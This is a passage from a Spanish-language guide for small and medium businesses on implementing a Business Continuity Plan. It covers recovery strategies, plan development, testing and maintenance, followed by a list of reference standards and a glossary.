En base a los criterios previamente detallados, y teniendo en cuenta la formalidad de los resultados del proceso BIA, se recomienda una selección de las estrategias de continuidad debidamente documentada para cada actividad crítica. Dicha selección debe ser acordada y ratificada con el director o el nivel directivo de la empresa. Además, es necesario destacar que las estrategias de recuperación seleccionadas para cada actividad deben ser acordes a los Tiempos de Recuperación Objetivo (RTO) previamente definidos y aprobados. En paralelo, es aconsejable diseñar una planificación para la puesta en marcha de la estrategia acordada para determinar el aprovisionamiento de los recursos. Por último, se hace necesario establecer la diferencia entre medidas preventivas y estrategias de recuperación: • Los mecanismos preventivos explicados en la Fase III: Medidas preventivas intentan reducir la posibilidad de que una compañía sufra una contingencia grave o un desastre y, si éste se produce, disminuir el daño que provocaría (aunque la organización no pueda evitar la caída de la energía eléctrica por una avería de su compañía de suministro, sí puede habilitar baterías o fuentes de alimentación alternativas e independientes que garanticen el suministro eléctrico durante un periodo de tiempo).

Fase IV: Estrategias de recuperación

( 51

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

• Las estrategias de recuperación son procesos focalizados en cómo rescatar a la organización en caso de que un desastre tenga lugar. Son mecanismos relacionados con la implantación de procedimientos de respuesta ante emergencias y la posibilidad de activar los mecanismos preventivos que ya han sido implantados. En la siguiente ilustración se resaltan los principales recursos sobre los cuales se deben diseñar las estrategias de recuperación: Recursos organizacionales sobre los cuales se diseñan las estrategias de recuperación

Gestión de la Continuidad de Negocio

Personas

52 )

Instalaciones

Fase IV: Estrategias de recuperación

Tecnología

Información

Proveedores

11.

Fase V: Desarrollo e implantación del plan

FASE I

FASE II

FASE III

FASE IV

FASE V

FASE VI

Diseño del Plan y Política de Continuidad de Negocio

Conocimiento organización y Análisis Riesgo

Medidas preventivas

Estrategia de recuperación

Desarrollo e implantación del Plan

Mantenimiento del plan

11.1.

OBJETIVOS

Llegados a este punto, es necesario situar todas las soluciones, estrategias y pasos en un plan en sí mismo. Es decir, una vez que las estrategias han sido definidas, deben ser documentadas y puestas en marcha por los encargados de la continuidad de negocio de la organización. Así los esfuerzos pasan de una fase de planificación a una fase de acción e implementación en la que se pretende: • Gestionar la respuesta a incidentes: asegurar la existencia de mecanismos que alerten de la existencia de eventos adversos y actúen frente a los mismos. • Asegurar la continuidad de actividades críticas: garantizar que la ejecución del plan descansa sobre las figuras y/o equipos necesarios (desde su activación hasta la vuelta a la normalidad de las actividades), y que se dispone o se puede disponer de los medios materiales para llevarlas a cabo.

Fase V: Desarrollo e implantación del plan

( 53

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

11.2.

11.2.1.

TAREAS

DEFINIR LAS FIGURAS O LOS EQUIPOS NECESARIOS PARA LA ACTIVACIÓN Y EJECUCIÓN DEL PLAN DE CONTINUIDAD DE NEGOCIO

La composición y el número de figuras o equipos que intervienen en la ejecución del plan pueden variar en función del tamaño de la organización y de su estrategia de recuperación. Es posible destacar funciones clave que serán llevadas a cabo por los responsables (personas o equipos, dependiendo del tamaño y de los recursos de la empresa) de la activación y ejecución del plan de continuidad de negocio: • Respuesta a incidentes: responsables de analizar y acotar el impacto que una incidencia puede provocar en la organización de forma que no se tenga que recurrir a la activación del plan de continuidad de negocio. • Comité de crisis: encargado de activar el plan de continuidad de negocio y dirigir las acciones durante la contingencia. • Servicios civiles de emergencia necesariamente localizables en caso de catástrofe (como por ejemplo los bomberos) que generalmente constituyen la primera figura de respuesta. • Logística: responsable de reunir todos los medios (lugar alternativo de trabajo, material, herramientas, etc.) necesarios para contribuir a la reactivación de la actividad. • Recuperación: asume la puesta en servicio de la infraestructura tecnológica (sistemas, aplicaciones y líneas de comunicación). • Relaciones públicas: responsable de las comunicaciones con clientes, accionistas, medios de comunicación, etc.

54 )

Fase V: Desarrollo e implantación del plan

Esta designación de funciones es semejante a las que se establecen en los planes de emergencia encuadrados en la Ley de Prevención de Riesgos Laborales3 (y sus correspondientes desarrollos reglamentarios), en las que intervienen personas encargadas de poner en práctica diferentes medidas: gestionar las alertas para la actuación de los equipos de primera intervención, dar la alarma para facilitar la evacuación de los empleados, gestionar la coordinación y la cooperación entre los integrantes de los diferentes equipos de emergencia, etc. Una vez que se han definido las figuras o equipos, así como las funciones a desempeñar por los mismos, la empresa debe desarrollar los planes o procedimientos de actuación a seguir. 11.2.2.

DESARROLLAR ACTUACIÓN

LOS

PROCEDIMIENTOS

DE

ALERTA

Y

Estos procedimientos, si bien no deben sustituir en ningún caso la aplicación del sentido común, recogen el conocimiento necesario para la activación y ejecución del plan de continuidad de negocio, ya que reducen el tiempo invertido en la toma de decisiones críticas y acotan los momentos de incertidumbre y el tiempo de reacción. Deben ser concisos, factibles y accesibles a todos aquellos miembros que tienen algún tipo de responsabilidad de actuación dentro del plan. Los objetivos y el alcance de cada uno de ellos deben ser documentados y fáciles de leer y entender por todos los miembros implicados, considerando: • Las actividades y recursos críticos que deben ser recuperados. • Los tiempos de recuperación de dichas actividades y recursos. 3 Ley 31/1995, de 8 de noviembre, de Prevención de Riesgos Laborales. Disponible en: https://boe.gob. es/aeboe/consultas/bases_datos/doc.php?id=BOE-A-1995-24292

Fase V: Desarrollo e implantación del plan

( 55

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

• En qué situación o situaciones debe ser utilizado cada plan. • Información útil para la gestión de la contingencia (teléfonos, inventarios de proveedores, servicios, direcciones, checklist,…). Adicionalmente, deben detallar claramente las funciones y responsabilidades de los miembros que forman parte activa del plan de continuidad de negocio, así como el método para activar o invocar el mismo (¿bajo qué circunstancias?; ¿quiénes activan el plan?; ¿cómo es activado el plan?). La siguiente ilustración muestra las tres principales fases que deben tener lugar en el tiempo a raíz de la identificación de un incidente. El objetivo de dichas fases en conjunto es que la organización recupere la normalidad de sus actividades en el menor tiempo posible. Etapas transcurridas desde la detección de un incidente/desastre hasta la recuperación de la normalidad en el centro de trabajo habitual

56 )

Fase V: Desarrollo e implantación del plan

En paralelo a estas etapas, la empresa debe constituir los correspondientes procedimientos de actuación que en definitiva constituirán el plan de continuidad de negocio. Respuesta a incidentes Cualquier incidente que tenga lugar en la organización y que interrumpa sus actividades críticas debe contar con un plan rápido de respuesta que permita: • Confirmar el tipo de incidente y su criticidad. • Tomar el control de la situación problemática generada por el incidente. • Acotar o limitar el impacto que dicho incidente pueda provocar. La identificación temprana de los incidentes es fundamental a la hora de responder a los mismos de forma ágil y efectiva. Un incidente que no es identificado, evaluado y gestionado adecuadamente puede derivar en un problema de mayor magnitud o incluso en una crisis.

La siguiente ilustración muestra someramente y a modo de ejemplo la secuencia de tareas a realizar en caso de que una empresa detecte la paralización de sus actividades críticas. En ocasiones es frecuente utilizar el término “Plan de Gestión de Crisis” para hacer alusión a este proceso.

Fase V: Desarrollo e implantación del plan

( 57

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Ejemplo de secuencia de tareas a realizar en caso de paralización de la actividad

Procedimientos de recuperación Puede ser activado dentro del plan de respuesta ante incidentes y, tal y como se ha comentado en esta guía, tienen el objetivo de recuperar en el menor tiempo posible las actividades críticas de una organización que se han visto interrumpidas por un desastre. Llegados a este punto, es de suponer que la organización ha decidido poner en marcha el plan de recuperación. Dicho plan debe contener la siguiente secuencia de acciones: • Quién, cómo y bajo qué circunstancias debe ser activado. • Persona/s que deben ser informadas de la activación del plan de continuidad en primer lugar (es lo que se conoce como árbol de llamadas).

58 )

Fase V: Desarrollo e implantación del plan

• Localización física de las personas que intervienen en el plan. • Qué servicios están disponibles, cuándo y dónde (incluidos los servicios entregados por terceros). • En qué momento y de qué forma la información que se genera en la ejecución del plan de continuidad es transmitida a responsables, empleados, unidades de dirección, etc. Siguiendo con el ejemplo de la ilustración anterior, en la expuesta a continuación se muestran algunos ejemplos característicos de procedimientos de recuperación ante la supuesta indisponibilidad de recursos críticos de la empresa. Ejemplos de procedimientos de recuperación característicos

Fase V: Desarrollo e implantación del plan

( 59

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Y finalmente, a continuación se muestra un ejemplo de procedimiento de recuperación en caso de indisponibilidad del suministro eléctrico. Ejemplo de procedimiento de recuperación en caso de indisponibilidad de suministro eléctrico

Plan de vuelta a la normalidad Solucionada la contingencia y recuperadas las actividades críticas de la organización, deben establecerse los mecanismos necesarios para recuperar la normalidad de funcionamiento y el “día a día” de las actividades. 11.2.3.

DISPONER DE LOS MEDIOS Y RECURSOS NECESARIOS PARA EJECUTAR EL PLAN DE CONTINUIDAD DE NEGOCIO

Todo plan de continuidad de negocio fracasará si previamente no se han dimensionado y provisionado los medios y recursos necesarios que permitan su ejecución. De acuerdo a las estrategias de recuperación diseñadas con anterioridad, las organizaciones deben dotarse de los recursos imprescindibles para el desarrollo efectivo de la respuesta, entre los que es posible mencionar:

60 )

Fase V: Desarrollo e implantación del plan

• Servicios generales, medios materiales, transporte, medios de almacenamiento, etc. • Tecnología (servidores, ordenadores de mesa, dispositivos móviles) y comunicaciones. • Recursos humanos y puestos de trabajo alternativos. • Información crítica redundante y necesaria para el desarrollo de las actividades de negocio. 11.3.

RIESGOS ASOCIADOS AL DESARROLLO E IMPLANTACIÓN DEL PLAN

Los planes de continuidad de negocio son procedimientos de actuación en caso de crisis o desastre en los que suelen intervenir diferentes áreas de la organización. En ocasiones, el propio impacto de un desastre puede concluir en la pérdida de dichos procedimientos, por lo que la organización debe tener preparada para los mismos una estrategia de respaldo y disponibilidad. 11.4.

RECOMENDACIONES

Para evitar pérdidas de los planes de continuidad de negocio deben mantenerse copias de los mismos en diferentes localizaciones. Al menos una de estas localizaciones debe estar alejada del lugar físico en el que principalmente se desarrollan las actividades críticas de la organización (oficinas o domicilios particulares). También es importante que el plan de continuidad de negocio esté disponible para las personas que participan en el mismo en diferentes formatos (incluyendo el electrónico y el soporte papel).

Fase V: Desarrollo e implantación del plan

( 61

12.

Fase VI: Mantenimiento del plan

FASE I

FASE II

FASE III

FASE IV

FASE V

FASE VI

Diseño del Plan y Política de Continuidad de Negocio

Conocimiento organización y Análisis Riesgo

Medidas preventivas

Estrategia de recuperación

Desarrollo e implantación del Plan

Mantenimiento del plan

12.1.

OBJETIVOS

El hecho de elaborar y documentar planes de continuidad de negocio y en definitiva procedimientos de recuperación en caso de paralización de las operaciones no garantiza de por sí el éxito a la hora de enfrentarse a un desastre. De esta forma, los objetivos perseguidos en la presente fase son: • Inculcar y promocionar una cultura de continuidad de negocio en la organización de forma que paulatinamente se convierta en un proceso crítico a gestionar bajo un ciclo de mejora continua. • Bajo el citado ciclo, mejorar la eficiencia y la solidez del plan o planes de continuidad de negocio. • Transmitir fiabilidad a empleados, clientes, accionistas sobre la capacidad de la organización para superar posibles interrupciones de sus operaciones. • Minimizar la probabilidad y el impacto de las interrupciones. • Adaptar el plan de continuidad a los cambios organizativos y de negocio que sufren las empresas, revisando periódicamente los análisis de riesgos, los Análisis de Impacto en el Negocio (BIA) y los contactos y responsabilidades asignados que deben mantenerse actualizados en las estrategias y los procedimientos.

62 )

Fase VI: Mantenimiento del plan

12.2.

12.2.1.

TAREAS

DIFUSIÓN Y FORMACIÓN

Antes de impartir cualquier acción de formación/concienciación, es necesario que la organización determine los colectivos y grupos objetivo, qué tipo de necesidades formativas son requeridas y qué estrategia de comunicación es la más adecuada. A partir de este esquema se desarrollará la programación de acciones formativas concretas en diversos entornos: • En el de dirección y supervisión. • En el de ejecución y operación. La organización puede utilizar diversos medios para la impartición efectiva de los paquetes formativos, como por ejemplo, la inclusión de mensajes y contenidos relacionados con la continuidad de negocio en la Intranet de la organización, las plataformas online y/o soporte/s semejante/s. Los responsables deben ser adecuadamente formados y concienciados acerca de los diferentes conceptos que contempla la continuidad de negocio (riesgos, medidas preventivas, detección temprana de incidencias, etc.). Incluso cabe la posibilidad de extender estos programas de formación a proveedores o en general terceros con los que la organización mantiene relaciones comerciales. 12.2.2.

EJECUCIÓN DE PRUEBAS

Aunque también es frecuente el uso de conceptos similares como simulacro, test o ejercicio, “Pruebas” es el término generalmente utilizado para describir el conjunto de medidas que someten a ensayo o examen el plan de continuidad de negocio.

Fase VI: Mantenimiento del plan

( 63

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

Desarrollado e implantado el plan de continuidad de negocio, es recomendable que sea probado periódicamente debido a los siguientes motivos: • Cada vez se descubren nuevas mejoras y eficiencias que, de ser aplicadas, perfeccionan el plan. • Los procesos de negocio, las ya mencionadas interdependencias, el entorno tecnológico y multitud de componentes adicionales pueden cambiar con el paso del tiempo provocando que los planes de continuidad de negocio dejen de estar actualizados. • Evaluar de forma más veraz la capacidad de respuesta de una compañía ante un desastre (tiempos de respuesta, capacidad de los responsables implicados e idoneidad de los procedimientos desarrollados). La organización debe planificar las pruebas, su duración y alcance, los participantes (incluidos proveedores de servicios), los elementos del plan que serán evaluados (personas, comunicaciones, sistemas, procedimientos) y la secuencia de pasos a emprender durante su ejecución. Las pruebas deben simular situaciones próximas a la realidad y deben ser planificadas de forma que la exposición de las actividades de la organización ante los riesgos sea mínima. Aunque sería lo ideal, es obvio que las compañías que deciden realizar tales pruebas no pueden permitirse el lujo de paralizar completamente su producción, por lo que las pruebas deben tener lugar en áreas y momentos específicos que no penalicen la entrega de sus productos y servicios (en definitiva, el negocio).

64 )

Fase VI: Mantenimiento del plan

Existen diferentes tipos de pruebas que se describen someramente en la siguiente tabla (ordenadas de menor a mayor complejidad). Tipos de pruebas del Plan de Continuidad de Negocio Tipo de prueba

12.2.3.

Descripción

Test de consistencia

El plan de continuidad de negocio es distribuido a los departamentos y/o áreas funcionales implicadas para su revisión/actualización.

Test de validez

Representantes de cada departamento y/o área funcional implicada se reúnen para revisar y discutir el plan.

Test de simulación (simulacro)

Escenario ficticio de recuperación para verificar que el Plan de Continuidad contiene la información necesaria y suficiente.

Test actividades críticas

Recuperación real de una actividad crítica bajo un entorno controlado y sin poner en peligro la operativa usual/original.

Test completo

Interrupción real de las operaciones y recuperación de las mismas a través de los procedimientos del Plan de Continuidad.

ACTUALIZACIÓN (CICLO DE MEJORA CONTINUA)

Los planes de continuidad de negocio deben ser mantenidos a través de un ciclo de mejora continua. Cualquier cambio a nivel organizativo (estratégico), operacional o técnico puede impactar en el negocio y por tanto en el plan de continuidad. Consecuentemente, la empresa debe emprender un proceso para mantener al día la capacidad, eficacia e idoneidad del plan de continuidad de negocio. Algunas propuestas en ese sentido son:

Fase VI: Mantenimiento del plan

( 65

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

• Revisión periódica en busca de cambios en la estructura de la organización, en los productos/servicios que desarrolla, en la plantilla, etc., los cuales pueden tener consecuencias en el plan de continuidad de negocio (política, BIA, procedimientos de recuperación, etc.). • Confirmación de que el plan de continuidad de negocio es acorde y contempla los citados cambios en los diversos componentes de la organización. • Adecuación de los planes de continuidad de negocio a requerimientos de socios, clientes, accionistas u otro tipo de requerimientos regulatorios. • Revisión de los resultados de las pruebas realizadas y de que las mejoras identificadas en las mismas han sido aplicadas. • Incluso auditorías internas o externas de todos y cada uno de los componentes del plan de continuidad de negocio. En el caso de que se evidencien cambios que afecten a la organización y que tengan impacto en los procesos de negocio, puede ser necesario revisar los Análisis de Impacto en el Negocio (BIA) y Análisis de Riesgos para ver en qué medida dichos cambios pueden provocar desajustes en las estrategias y los procedimientos. De esta forma, la organización puede disponer de ciertas garantías sobre la efectividad de su plan de negocio. 12.3.

RIESGOS ASOCIADOS AL MANTENIMIENTO DEL PLAN

La fase de mantenimiento del plan es vital para confirmar la completitud, viabilidad y eficacia del mismo. Sin embargo, en esta fase existen una serie de riesgos que son necesarios tener en cuenta:

66 )

Fase VI: Mantenimiento del plan

• Formación/concienciación: es frecuente que las organizaciones que han implantado un plan de continuidad de negocio carezcan de ideas y estrategias precisas acerca de posibles programas de formación (¿quiénes deben ser los destinatarios del programa?, ¿qué mensajes deben ser transmitidos?, ¿qué método de comunicación es el más idóneo?). • Falta de criterio a la hora de definir la periodicidad en la cual los planes de continuidad de negocio deben ser probados y el tipo de pruebas a realizar. 12.4.

RECOMENDACIONES

Para asegurar el mantenimiento del plan de continuidad de negocio es recomendable el desarrollo de programas educativos que mezclen diferentes formas de comunicación y aprendizaje de forma que sea fácilmente asimilable por toda la organización. Por otro lado, y como medida general, se recomienda que los planes de continuidad de negocio, aparte de ser flexibles, sean testados al menos una vez al año a través de la realización periódica de simulacros que reproduzcan de forma ficticia situaciones de emergencia o contingencia. Dicha periodicidad depende de las necesidades que determine la organización y el entorno en el que opera.

Fase VI: Mantenimiento del plan

( 67

13.

Invertir en Planes de Continuidad de Negocio compensa

La gestión de la continuidad de negocio en cualquier organización es una inversión, no es un coste. El retorno de inversión (ROI) es tangible en términos de reputación y valor de imagen de la empresa.

Simplicidad

El plan de continuidad de negocio debe ser entendible y sencillo de utilizar y mantener. La aplicación del sentido común, de la experiencia y del conocimiento del negocio son componentes clave para el éxito de un plan de continuidad de negocio.

Alcance limitado y priorizado

La implantación de un plan de continuidad de negocio debe cubrir, al menos, la operativa u operativas más críticas de la organización.

Responsabilidades

Un plan de continuidad de negocio debe establecer claramente quiénes formarían parte del mismo, sus funciones, responsabilidades y autoridad.

Las copias de seguridad solo son una parte del Plan de Continuidad

Cuando se habla de continuidad de negocio, algunas organizaciones se centran principalmente en hacer copias de seguridad de su información. Aunque este aspecto es tremendamente importante, constituye una pequeña pieza del puzzle constituido por personas, documentación, vias de comunicación, proveedores de servicios, etc.

La activación del Plan de Continuidad es la opción recurrida en última estancia

La ejecución por parte de una organización de un plan de continuidad de negocio no se produce ante cualquier incidente de seguridad, sino en situaciones de crisis/emergencia perfectamente definidas y una vez que las medidas de seguridad preventivas han fallado.

No emprender tareas inabarcables

Tareas excesivamente ambiciosas generan situaciones de frustración y hacen que los proyectos fracasen. El desarrollo de planes de continuidad complejos con equipos muy elaborados y excesiva documentación de soporte es dificil de mantener actualizado.

Divide y vencerás

La definición e implantación de un plan de continuidad de negocio puede e incluso debe realizarse en muchas ocasiones en diferentes fases dentro de la organización.

POLÍTICA DE CONTINUIDAD/ ESTRATEGIA

68 )

¿Qué debo recordar?

+

¿Qué debo recordar?

PROCEDIMIENTOS/ PLANES

+

FORMACIÓN

+

MANTENIMIENTO/ ACTUALIZACIÓN/ PRUEBAS

=

CONTINUIDAD

14.

Más información

La siguiente relación de estándares internacionales y guías de ayuda, aparte de ser mostrados para la consulta de los interesados, han sido explotados a modo de bibliografía para la elaboración de esta guía: 14.1.

ESTÁNDARES INTERNACIONALES

Son desarrollados a través de un consenso completo entre todas las partes interesadas (gobiernos, asociaciones comerciales, consumidores) y no impuestos como obligatorios. Los estándares son herramientas empleadas por las organizaciones de cualquier tipo y tamaño. BS 25999:2006 – (British Standard en inglés) primera norma británica para la gestión de continuidad de negocio. Desarrollada por un amplio grupo de expertos representativos de sectores de la industria y la administración. Proporciona la base para comprender, desarrollar e implantar la continuidad de negocio en una organización. Está previsto que se convierta en ISO 22301. Comprende dos partes • Parte 1: Código de buenas prácticas y recomendaciones para Gestión de Continuidad de Negocio (parte que sustituye al PAS 56). • Parte 2: publicada el 20 de Noviembre de 2007, como norma certificable establece los requisitos para implementar un Sistema de Gestión de Continuidad de Negocio. En términos sencillos, la parte 1 es el “debería” y la parte 2 es el “debe”. Así, muchos de los aspectos tratados en esta guía provienen del estudio y análisis de la información contenida en la parte 1. ISO/IEC 27002:2005 – código de buenas prácticas para la Gestión de la Seguridad de la Información. Es la antigua ISO 17799 y comprende un apartado dedicado especialmente a la continuidad de negocio.

Más información

( 69

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

PAS 77:2006 – (Publicly Available Specification en inglés) guía de buenas prácticas de la continuidad de los servicios de tecnologías de la información (TI) emitida por British Standards Institute (BSI). En esta norma se establecen los principios y técnicas recomendadas para la Gestión de la continuidad de los servicios tecnológicos. ISO/IEC 20000 – gestión de los servicios relacionados con las tecnologías de la información. 14.2.

GUÍAS DE AYUDA

Manual de buenas prácticas 2007: Guía para instaurar Buenas Prácticas Globales en Gestión de Continuidad de Negocio. Elaborada por The Business Continuity Institute y traducida al español por ISMS Forum Spain. Contingency Planning Guide for Information Technology Systems: NIST SP 800-34. Publicación del Network Information Security and Technology (NIST). Guía para realizar planes de contingencia sobre tecnologías y sistemas de información. 14.3.

ENLACES DE INTERÉS

Si las PYME están interesadas en conocer más acerca de lo que es un plan de continuidad de negocio y de sus estándares, a continuación se expone una serie de direcciones web con información referida a este tipo de planes: • Http://cert.inteco.es/extfrontinteco/img/File/intecocert/sgsi/. INTECO-CERT en su objetivo de sensibilizar sobre la importancia de estos sistemas de gestión, cuenta con una sección de SGSI en la que trata a lo largo de los diferentes apartados los conceptos más importantes sobre su normativa, modelo y beneficios, así como las diferentes fases de su implementación.

70 )

Más información

• www.bsigroup.es – British Standards Institute (BSI) para España: entidad dedicada a la creación de normas para la estandarización de los procesos, en este caso destaca la citada BS 25999, la cual puede ser adquirida en formato papel o digital visitando la tienda de BSI en Internet http://shop.bsigroup.com/. • http://www.thebci.org y www.bcispain.com- The Business Continuity Institute (BCI): organismo promotor de la gestión de continuidad de negocio a nivel mundial fundado en el año 1994. Existe un capítulo de BCI en España. • http://www.drii.org – Disaster Recovery Institute International: organismo creado con el fin de desarrollar una base de conocimiento en planeación de contingencias y gestión de riesgo. • http://www.ismsforum.es – ISMS Forum Spain: asociación que tiene por fin fomentar la seguridad de la información en España. • http://www.nist.org – Instituto Nacional de Normas y Tecnología (NIST por sus siglas en inglés): agencia estadounidense encargada de promover la innovación y la competencia mediante avances en normas y tecnología. • http://pmi.org. Página oficial del Project Management Institute, organización internacional que desarrolla la guía del PMBOK, la cual detalla a modo de buenas prácticas los fundamentos de la Gestión de Proyectos.

Más información

( 71

15.

ANEXO I: Glosario

• Actividad de negocio: proceso o conjunto de procesos establecidos por una organización para producir o soportar sus productos o servicios. • Activo: son los recursos que dan soporte a las actividades de negocio de una organización, necesarios para que ésta funcione correctamente y alcance los objetivos marcados por la organización (por ejemplo, los sistemas informáticos). • Acuerdos recíprocos: convenio o contrato entre dos organizaciones con características funcionales y técnicas semejantes que permitirá a cada una de las partes recuperar sus actividades críticas empleando los recursos e instalaciones de la otra. • Alternativas de recuperación: conjunto de actividades predefinidas que serán implementadas y llevadas a cabo en respuesta a un desastre. • Amenaza: eventos que, aprovechando una vulnerabilidad, pueden desencadenar un incidente en la empresa, produciendo daños materiales o pérdidas inmateriales en sus activos. Dentro de eventos se consideran tanto acciones, como interrupciones o falta de acción. • Análisis de Impacto en el Negocio o Business Impact Analysis (BIA por sus siglas en inglés): proceso de análisis de las actividades de negocio y las consecuencias que una interrupción sobre las mismas puede provocar en la organización. • Análisis de Riesgos: proceso de identificación, análisis y evaluación de riesgos. • Ciclo de mejora continua: o ciclo PDCA (Plan, Do, Check,Act, por sus siglas en inglés), es una estrategia de mejora continua de los procesos y sistemas de gestión de la empresa en 4 pasos.

72 )

ANEXO I: Glosario

La parte II del estándar de continuidad de negocio BS 25999:2006 establece los requerimientos de planificación, establecimiento, implementación, operación, monitorización, revisión, práctica, mantenimiento y mejora del Plan de Continuidad de Negocio bajo un proceso de gestión cíclico y no como una acción o proyecto puntual con principio y fin. • Conmutación: de forma general se refiere a la acción de cambiar una cosa por otra. En el contexto de la guía hace referencia al cambio de las líneas de comunicación para establecer la conexión con el centro de respaldo alternativo. • Contingencia: suceso no deseado que afecta a la continuidad normal de las operaciones de la organización. • Control: mecanismo que se emplea con el fin de reducir el riesgo asociado a una o varias amenazas. Es frecuente el uso análogo del término “Medida de Seguridad”. • Desastre: problema o evento no planificado, cuya consecuencia es la interrupción de los procesos de negocio durante un periodo de tiempo. Este tiempo de paralización de los procesos es superior a lo que la organización puede soportar sin sufrir perjuicios considerables para el negocio. • Disponibilidad: característica, cualidad o condición de un proceso de negocio/activo/recurso de encontrarse a disposición de la organización. • EAR/PILAR: herramienta de análisis de riesgos que implementa la metodología Magerit, desarrollada por el Centro Criptológico Nacional (CCN – www.ccn-cert.cni.es) y de amplia utilización en la administración pública española. • Gestión de riesgos: desarrollo y aplicación ordenada de políticas, procedimientos y prácticas para identificar, analizar, evaluar y controlar la respuesta a los riesgos. • Impacto: consecuencia evaluada de una interrupción.

ANEXO I: Glosario

( 73

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

• Incidente: cualquier evento que no forma parte de la operación estándar de un servicio y que causa, o puede causar una interrupción o una reducción de la calidad de ese servicio. • Interdependencias: relaciones establecidas entre el conjunto de equipamiento, personas, tareas, departamentos, mecanismos de comunicación y proveedores externos que constituye una actividad de negocio. • Interrupción: suspensión de las operaciones normales del negocio durante un período de tiempo. • ISO: Organización Internacional para la Estandarización (www.iso.or), es el encargado de promover el desarrollo de las normas internacionales industriales y comerciales conocidas como normas ISO. • Magerit: metodología de análisis y gestión de riesgos elaborada por el Consejo Superior de Administración Electrónica (disponible en http://www. csi.map.es/csi/pg5m20.htm). • MiFID: Markets in Financial Instruments Directive. Directiva que forma parte del Plan de Acción de los Servicios Financieros de la Unión Europea y constituye un elemento de vital importancia para crear un sólido marco regulatorio común para los mercados de valores europeos. Afecta a las empresas de servicios de inversión y a las entidades de crédito y, en relación con la continuidad de negocio exige: • Empleo de sistemas, recursos y procedimientos adecuados para garantizar la continuidad en la realización de los servicios y actividades de inversión. • Adopción, aplicación y mantenimiento de una política adecuada de continuidad de la actividad encaminada a garantizar, en caso de interrupción de sus sistemas y procedimientos, la preservación de datos y funciones esenciales.

74 )

ANEXO I: Glosario

• OCTAVE (Operationally Critical Threat, Asset and Vulnerability Evaluation, por sus siglas en inglés): es un conjunto de herramientas, técnicas y métodos (desarrollados por el CERT Coordination Center del Software Engineering Institute de la Universidad Carnegie Mellon de Pensilvania, Estados Unidos) empleados para el análisis de riesgos tecnológicos (disponible en http://www.cert.org/octave/.) • Plan de continuidad de Negocio (PCN) o Business Continuity Plan (BCP por sus siglas en inglés) es un conjunto de directrices, criterios, normas de actuación y herramientas organizativas que, ante la ocurrencia de una contingencia que provocase la interrupción de alguna o todas las áreas de negocio de una organización, permiten la recuperación de la operatividad de las mismas en el menor tiempo posible, de modo que las pérdidas económicas ocasionadas sean mínimas. • Plan de recuperación ante desastres (PRD) o Disaster Recovery Plan (DRP por sus siglas en inglés): constituye una parte del Plan de Continuidad de Negocio en aquellas compañías que dispongan de infraestructura tecnológica para soportar sus operaciones y, de forma análoga al Plan de Continuidad de Negocio, consta de todas las prácticas necesarias que, en caso de desastre, permiten recuperar en el menor tiempo posible el entorno tecnológico (sistemas, aplicaciones e infraestructuras) que soporta las actividades de una organización. • Problema: causa subyacente, aún no identificada, de una serie de incidentes o un incidente aislado de importancia significativa. • Punto de Recuperación Objetivo – RPO (Recovery Point Objective por sus siglas en inglés): cantidad de información que la organización puede llegar a perder como consecuencia de un desastre. Marca desde un punto de vista tecnológico la estrategia de realización de copias de seguridad de la información. • Reingeniería de procesos actividad de rediseño de los procesos con el fin de mejorar los mismos y crear beneficios y ventajas competitivas.

ANEXO I: Glosario

( 75

Guía práctica para PYMES: cómo implantar un Plan de Continuidad de Negocio

• Resiliencia: término de origen inglés (resilient) referido a la capacidad de elasticidad y resistencia de una empresa para hacer frente a los impactos. • Riesgo: probabilidad de que una amenaza aproveche y explote una debilidad asociada a un proceso/activo/recurso provocando daño sobre el mismo. • Retorno de Inversión – ROI (Return on Investment por sus siglas en inglés): valor que mide el rendimiento de una inversión, para evaluar lo eficiente que es el gasto que una organización realiza o planea realizar y determinar la viabilidad de un proyecto o potencial proyecto. • Stakeholders: anglicismo referido a todas las partes participantes o afectadas por una empresa como son accionistas, empleados, inversores, asociaciones sectoriales, Cámaras de Comercio, etc. • Tiempo de Recuperación Objetivo - RTO (Recovery Time Objective por sus siglas en inglés): variable temporal dentro de la cual una actividad de negocio debe ser recuperada después de un desastre. • Tiempo Máximo Permitido de Recuperación – MTD (Maximum Tolerable Downtime por sus siglas en inglés): periodo de tiempo (medido en segundos, minutos, horas o incluso meses en función de la actividad) asociado a la paralización de una actividad que, una vez superado, la viabilidad de la organización se verá amenazada irrevocablemente. • Teletrabajo: desempeño de un trabajo de manera regular en un lugar diferente del centro de trabajo habitual, generalmente empleando medios informáticos. • Vulnerabilidad: debilidad o falta de control asociada a un proceso o recurso que puede ser explotada provocando un daño sobre dicho proceso. Un ejemplo de vulnerabilidad es el hecho de que una organización no disponga de medidas físicas que impidan el acceso a sus instalaciones a personal no autorizado.

76 )

ANEXO I: Glosario

¿Quieres seguirnos? en la web: http://observatorio.inteco.es en Twitter: @ObservaINTECO

¿Quieres hacernos llegar algún comentario? [email protected]

www.inteco.es

www.deloitte.es